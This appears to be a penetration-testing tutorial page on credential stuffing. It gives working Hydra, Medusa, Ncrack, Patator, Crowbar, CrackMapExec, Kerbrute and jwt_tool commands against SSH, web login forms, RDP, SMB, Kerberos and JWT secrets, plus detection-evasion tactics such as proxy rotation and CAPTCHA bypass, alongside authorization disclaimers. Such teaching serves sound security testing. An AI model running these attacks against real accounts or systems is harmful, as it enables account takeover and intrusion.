Credential Stuffing is a type of cyberattack where attackers use automated tools to try large sets of username and password combinations, typically stolen from previous data breaches, against various systems. Unlike traditional brute force attacks that guess passwords, credential stuffing relies on the fact that many users reuse credentials across multiple services.
This technique plays a crucial role in penetration testing for evaluating how vulnerable systems are to real-world attacks that exploit password reuse.
⚡ Credential Stuffing vs. Brute Force Attacks
Understanding the distinction between these two methods is essential for effective testing:
| Brute Force | Credential Stuffing |
|---|---|
| Attempts random password guesses. | Uses valid, leaked username/password pairs. |
| Time-consuming and noisy. | Faster and stealthier due to valid data. |
| Often triggers account lockouts. | Designed to avoid detection with slower, distributed attempts. |
💡 Credential stuffing is faster, more efficient, and often harder to detect than brute force attacks because it uses real credentials rather than random guesses.
🛠 Common Tools for Credential Stuffing
While credential stuffing can be performed using various brute force tools, some are particularly well-suited for this task due to their support for username/password lists, multi-protocol targeting, and proxy support.
Tools featured:
- Hydra
- Medusa
- Ncrack
- Patator
- Crowbar
- CrackMapExec
- Kerbrute
- JWTTool
🏃 Example Credential Stuffing Commands
🔑 Hydra – Fast and flexible network login cracker
Credential stuffing with SSH:
> hydra -L users.txt -P passwords.txt ssh://192.168.1.10 -t 4 -V
-L: File with usernames-P: File with passwords-t: Number of parallel connections-V: Verbose mode
Credential stuffing for HTTP POST forms:
> hydra -L users.txt -P passwords.txt 192.168.1.20 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
http-post-form: Targets web formsF=incorrect: String to detect failed attempts
🗝 Medusa – Parallel, modular login brute forcer
Credential stuffing on SSH:
> medusa -M ssh -h 192.168.1.10 -U users.txt -P passwords.txt -t 4
-M: Module (protocol) to use-h: Target host-U/-P: Username and password files-t: Number of concurrent threads
🌐 Ncrack – High-speed network authentication cracking
Credential stuffing with RDP:
> ncrack -U users.txt -P passwords.txt rdp://192.168.1.10
- Supports SSH, RDP, FTP, HTTP, and more
- Optimized for high-speed, large-scale testing
⚡ Patator – Multi-purpose brute forcing framework
Credential stuffing for web authentication:
> patator http_fuzz url=https://target.com/login.php method=POST body='username=FILE0&password=FILE1' \
0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid login'
http_fuzz: HTTP fuzzing mode for login forms-x ignore:fgrep: Tells Patator to ignore responses containing “Invalid login”
🔒 Crowbar – Brute forcing tool that supports SSH key authentication
SSH key-based credential stuffing:
> crowbar -b sshkey -s 192.168.1.10/24 -u user -k /path/to/private_key -p password
-b sshkey: Specifies SSH key brute force-s: Target IP/subnet-u/-p: Username and passphrase
🌉 CrackMapExec – Swiss army knife for pentesting networks
Credential stuffing against SMB shares:
> crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt
- Tests SMB credentials across entire subnets
- Useful for post-exploitation enumeration and lateral movement
🎭 Kerbrute – Kerberos pre-authentication enumeration and brute force
Credential stuffing in Active Directory environments:
> kerbrute bruteuser -d domain.local users.txt passwords.txt --dc 192.168.1.10
bruteuser: Attempts credential stuffing on provided user/password lists- Useful for detecting password reuse in Kerberos authentication
🔐 JWTTool – Manipulate, forge, and exploit JSON Web Tokens
Credential stuffing JWT secrets:
> jwt_tool.py token.jwt -C -d wordlist.txt
-C: Cracks JWT signature with a wordlist-d: Specifies dictionary file for brute force attempts
🌐 Advanced Credential Stuffing Techniques
Credential stuffing techniques have evolved to evade modern detection methods. Here’s how attackers enhance success rates:
- IP Rotation & Proxy Chains: Distributes login attempts across multiple IPs to avoid triggering rate-limit protections.
- CAPTCHA Bypass: Integrates CAPTCHA-solving services or machine learning solutions.
- Credential Validation: Double-checks access by verifying associated services (e.g., email confirmation).
- Slow and Low Attacks: Spreads login attempts over extended periods to mimic legitimate user behavior.
💡 Best Practices for Ethical Credential Stuffing in Pen Testing
Credential stuffing can be a powerful tool during penetration tests when performed ethically and within scope. Consider the following best practices:
- ✅ Authorization First: Ensure explicit permission for all tests, documented in a signed agreement.
- 🔒 Realistic Datasets: Use sanitized datasets or permission-granted data when conducting tests.
- ⚙️ Rate-Limiting Considerations: Perform tests at controlled speeds to avoid service disruptions.
- 📝 Clear Reporting: Document findings in a clear, actionable manner, emphasizing password hygiene and MFA recommendations.
🏃♂️ Get Started with Credential Stuffing
Credential stuffing tests rely on the right tools and correct configurations. Many of the tools listed here overlap with brute force attack methodologies. For detailed usage instructions, advanced options, and interactive command generators, visit our:
🔗 Brute Force Tools Page for Full Command Suggestions
⚖️ Ethical and Legal Considerations
Credential stuffing attacks are illegal without explicit, written consent from the organization being tested. All activities conducted using the tools and techniques discussed on this page must adhere to:
- Local, national, and international laws.
- Ethical guidelines defined by industry standards, including OSCP, CEH, and CISSP frameworks.
⚠️ We support ethical hacking and legal penetration testing. Always operate within the boundaries of the law.
🎬 Conclusion: From Knowledge to Execution
Credential stuffing remains a top threat due to widespread password reuse. For ethical hackers and penetration testers, understanding and leveraging these techniques responsibly is crucial for identifying vulnerabilities before malicious actors can exploit them.
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